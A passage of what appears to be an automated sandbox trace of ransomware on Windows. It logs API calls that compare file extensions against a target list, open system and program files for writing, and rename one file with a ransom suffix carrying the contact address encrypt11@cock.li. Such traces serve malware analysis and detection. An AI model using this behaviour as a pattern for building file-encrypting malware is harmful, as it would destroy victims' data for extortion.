(lpString1=".xls", lpString2=".LOG") returned 1 [0127.322] lstrlenW (lpString=".xlsx") returned 5 [0127.322] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0127.322] lstrlenW (lpString=".ppt") returned 4 [0127.322] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0127.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.322] lstrlenW (lpString=".zip") returned 4 [0127.322] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0127.322] lstrlenW (lpString=".rar") returned 4 [0127.322] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0127.322] lstrlenW (lpString=".bz2") returned 4 [0127.322] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0127.322] lstrlenW (lpString=".7z") returned 3 [0127.322] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0127.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.323] lstrlenW (lpString=".dbf") returned 4 [0127.323] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0127.323] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.323] lstrlenW (lpString=".1cd") returned 4 [0127.323] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0127.323] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.323] lstrlenW (lpString=".jpg") returned 4 [0127.323] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0127.323] lstrcmpiW (lpString1=".p7b", lpString2=".btix") returned 1 [0127.323] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0127.323] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0127.324] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=4662) returned 1 [0127.324] CloseHandle (hObject=0x384) returned 1 [0127.327] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0127.327] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0127.327] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.327] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0127.327] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0127.327] lstrlenW (lpString=".doc") returned 4 [0127.327] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0127.327] lstrlenW (lpString=".docx") returned 5 [0127.327] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0127.327] lstrlenW (lpString=".pdf") returned 4 [0127.327] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0127.327] lstrlenW (lpString=".xls") returned 4 [0127.328] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0127.328] lstrlenW (lpString=".xlsx") returned 5 [0127.328] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0127.328] lstrlenW (lpString=".ppt") returned 4 [0127.328] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0127.328] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0127.328] lstrlenW (lpString=".zip") returned 4 [0127.328] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0127.328] lstrlenW (lpString=".rar") returned 4 [0127.328] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0127.328] lstrlenW (lpString=".bz2") returned 4 [0127.328] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0127.328] lstrlenW (lpString=".7z") returned 3 [0127.328] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0127.328] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0127.328] lstrlenW (lpString=".dbf") returned 4 [0127.328] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0127.328] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0127.328] lstrlenW (lpString=".1cd") returned 4 [0127.328] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0127.328] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0127.328] lstrlenW (lpString=".jpg") returned 4 [0127.328] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0127.328] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0127.328] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0127.328] lstrlenW (lpString=".doc") returned 4 [0127.328] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0127.328] lstrlenW (lpString=".docx") returned 5 [0127.328] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0127.328] lstrlenW (lpString=".pdf") returned 4 [0127.328] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0127.328] lstrlenW (lpString=".xls") returned 4 [0127.328] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0127.328] lstrlenW (lpString=".xlsx") returned 5 [0127.328] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0127.328] lstrlenW (lpString=".ppt") returned 4 [0127.329] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0127.329] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0127.329] lstrlenW (lpString=".zip") returned 4 [0127.329] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0127.329] lstrlenW (lpString=".rar") returned 4 [0127.329] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0127.329] lstrlenW (lpString=".bz2") returned 4 [0127.329] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0127.329] lstrlenW (lpString=".7z") returned 3 [0127.329] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0127.329] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0127.329] lstrlenW (lpString=".dbf") returned 4 [0127.329] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0127.329] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0127.329] lstrlenW (lpString=".1cd") returned 4 [0127.329] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0127.329] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0127.329] lstrlenW (lpString=".jpg") returned 4 [0127.329] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0127.329] Sleep (dwMilliseconds=0x64) [0127.806] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0127.806] lstrlenW (lpString="boxed-correct.avi") returned 17 [0127.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0127.808] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=111320) returned 1 [0127.808] CloseHandle (hObject=0x37c) returned 1 [0127.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0127.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0128.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0128.349] lstrlenW (lpString=".doc") returned 4 [0128.349] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.349] lstrlenW (lpString=".docx") returned 5 [0128.349] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0128.349] lstrlenW (lpString=".pdf") returned 4 [0128.349] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.350] lstrlenW (lpString=".xls") returned 4 [0128.350] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.350] lstrlenW (lpString=".xlsx") returned 5 [0128.350] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0128.350] lstrlenW (lpString=".ppt") returned 4 [0128.350] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0128.350] lstrlenW (lpString=".zip") returned 4 [0128.350] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.350] lstrlenW (lpString=".rar") returned 4 [0128.350] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.350] lstrlenW (lpString=".bz2") returned 4 [0128.350] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.350] lstrlenW (lpString=".7z") returned 3 [0128.350] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0128.350] lstrlenW (lpString=".dbf") returned 4 [0128.350] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0128.350] lstrlenW (lpString=".1cd") returned 4 [0128.350] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0128.350] lstrlenW (lpString=".jpg") returned 4 [0128.350] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0128.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0128.350] lstrlenW (lpString=".doc") returned 4 [0128.350] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0128.350] lstrlenW (lpString=".docx") returned 5 [0128.350] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0128.350] lstrlenW (lpString=".pdf") returned 4 [0128.350] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0128.350] lstrlenW (lpString=".xls") returned 4 [0128.350] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0128.350] lstrlenW (lpString=".xlsx") returned 5 [0128.351] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0128.351] lstrlenW (lpString=".ppt") returned 4 [0128.351] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0128.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0128.351] lstrlenW (lpString=".zip") returned 4 [0128.351] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0128.351] lstrlenW (lpString=".rar") returned 4 [0128.351] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0128.351] lstrlenW (lpString=".bz2") returned 4 [0128.351] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0128.351] lstrlenW (lpString=".7z") returned 3 [0128.351] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0128.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0128.351] lstrlenW (lpString=".dbf") returned 4 [0128.351] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0128.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0128.351] lstrlenW (lpString=".1cd") returned 4 [0128.351] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0128.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0128.351] lstrlenW (lpString=".jpg") returned 4 [0128.351] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0128.351] lstrcmpiW (lpString1=".dat", lpString2=".btix") returned 1 [0128.351] lstrlenW (lpString="hwrenclm.dat") returned 12 [0128.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0128.354] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=498624) returned 1 [0128.354] CloseHandle (hObject=0x384) returned 1 [0128.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0128.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0128.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0128.355] lstrlenW (lpString=".doc") returned 4 [0128.355] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0128.355] lstrlenW (lpString=".docx") returned 5 [0128.355] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0128.355] lstrlenW (lpString=".pdf") returned 4 [0128.355] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0128.355] lstrlenW (lpString=".xls") returned 4 [0128.355] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0128.355] lstrlenW (lpString=".xlsx") returned 5 [0128.355] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0128.355] lstrlenW (lpString=".ppt") returned 4 [0128.355] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0128.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0128.355] lstrlenW (lpString=".zip") returned 4 [0128.355] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0128.355] lstrlenW (lpString=".rar") returned 4 [0128.355] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0128.355] lstrlenW (lpString=".bz2") returned 4 [0128.355] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0128.355] lstrlenW (lpString=".7z") returned 3 [0128.355] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0128.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0128.355] lstrlenW (lpString=".dbf") returned 4 [0128.355] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0128.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0128.355] lstrlenW (lpString=".1cd") returned 4 [0128.355] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0128.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0128.355] lstrlenW (lpString=".jpg") returned 4 [0128.356] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0128.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0128.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0128.356] lstrlenW (lpString=".doc") returned 4 [0128.356] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0128.356] lstrlenW (lpString=".docx") returned 5 [0128.356] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0128.356] lstrlenW (lpString=".pdf") returned 4 [0128.356] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0128.356] lstrlenW (lpString=".xls") returned 4 [0128.356] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0128.356] lstrlenW (lpString=".xlsx") returned 5 [0128.356] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0128.356] lstrlenW (lpString=".ppt") returned 4 [0128.356] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0128.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0128.356] lstrlenW (lpString=".zip") returned 4 [0128.356] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0128.356] lstrlenW (lpString=".rar") returned 4 [0128.356] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0128.356] lstrlenW (lpString=".bz2") returned 4 [0128.356] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0128.356] lstrlenW (lpString=".7z") returned 3 [0128.356] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0128.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0128.356] lstrlenW (lpString=".dbf") returned 4 [0128.356] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0128.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0128.356] lstrlenW (lpString=".1cd") returned 4 [0128.356] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0128.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0128.356] lstrlenW (lpString=".jpg") returned 4 [0128.357] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0128.357] lstrcmpiW (lpString1=".dat", lpString2=".btix") returned 1 [0128.357] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0128.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0128.357] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=1100592) returned 1 [0128.357] CloseHandle (hObject=0x384) returned 1 [0128.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0128.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0128.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0128.358] lstrlenW (lpString=".doc") returned 4 [0128.358] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0128.358] lstrlenW (lpString=".docx") returned 5 [0128.358] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0128.358] lstrlenW (lpString=".pdf") returned 4 [0128.358] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0128.358] lstrlenW (lpString=".xls") returned 4 [0128.358] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0128.358] lstrlenW (lpString=".xlsx") returned 5 [0128.358] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0128.358] lstrlenW (lpString=".ppt") returned 4 [0128.358] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0128.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0128.358] lstrlenW (lpString=".zip") returned 4 [0128.358] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0128.358] lstrlenW (lpString=".rar") returned 4 [0128.358] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0128.358] lstrlenW (lpString=".bz2") returned 4 [0128.358] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0128.358] lstrlenW (lpString=".7z") returned 3 [0128.358] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0128.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0128.358] lstrlenW (lpString=".dbf") returned 4 [0128.358] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0128.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0128.358] lstrlenW (lpString=".1cd") returned 4 [0128.358] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0128.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0128.358] lstrlenW (lpString=".jpg") returned 4 [0128.358] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0128.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0128.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0128.358] lstrlenW (lpString=".doc") returned 4 [0128.358] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0128.358] lstrlenW (lpString=".docx") returned 5 [0128.359] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0128.359] lstrlenW (lpString=".pdf") returned 4 [0128.359] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0128.359] lstrlenW (lpString=".xls") returned 4 [0128.359] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0128.359] lstrlenW (lpString=".xlsx") returned 5 [0128.359] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0128.359] lstrlenW (lpString=".ppt") returned 4 [0128.359] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0128.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0128.359] lstrlenW (lpString=".zip") returned 4 [0128.359] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0128.359] lstrlenW (lpString=".rar") returned 4 [0128.359] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0128.359] lstrlenW (lpString=".bz2") returned 4 [0128.359] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0128.359] lstrlenW (lpString=".7z") returned 3 [0128.359] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0128.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0128.359] lstrlenW (lpString=".dbf") returned 4 [0128.359] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0128.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0128.359] lstrlenW (lpString=".1cd") returned 4 [0128.359] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0128.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0128.359] lstrlenW (lpString=".jpg") returned 4 [0128.359] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0128.359] lstrcmpiW (lpString1=".dat", lpString2=".btix") returned 1 [0128.359] lstrlenW (lpString="hwrusalm.dat") returned 12 [0128.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0128.361] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=2515696) returned 1 [0128.361] CloseHandle (hObject=0x384) returned 1 [0128.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0128.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.362] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0128.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0128.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0128.362] lstrlenW (lpString=".doc") returned 4 [0128.362] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0128.362] lstrlenW (lpString=".docx") returned 5 [0128.362] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0128.362] lstrlenW (lpString=".pdf") returned 4 [0128.362] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0128.362] lstrlenW (lpString=".xls") returned 4 [0128.362] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0128.362] lstrlenW (lpString=".xlsx") returned 5 [0128.362] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0128.362] lstrlenW (lpString=".ppt") returned 4 [0128.362] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0128.362] lstrlenW 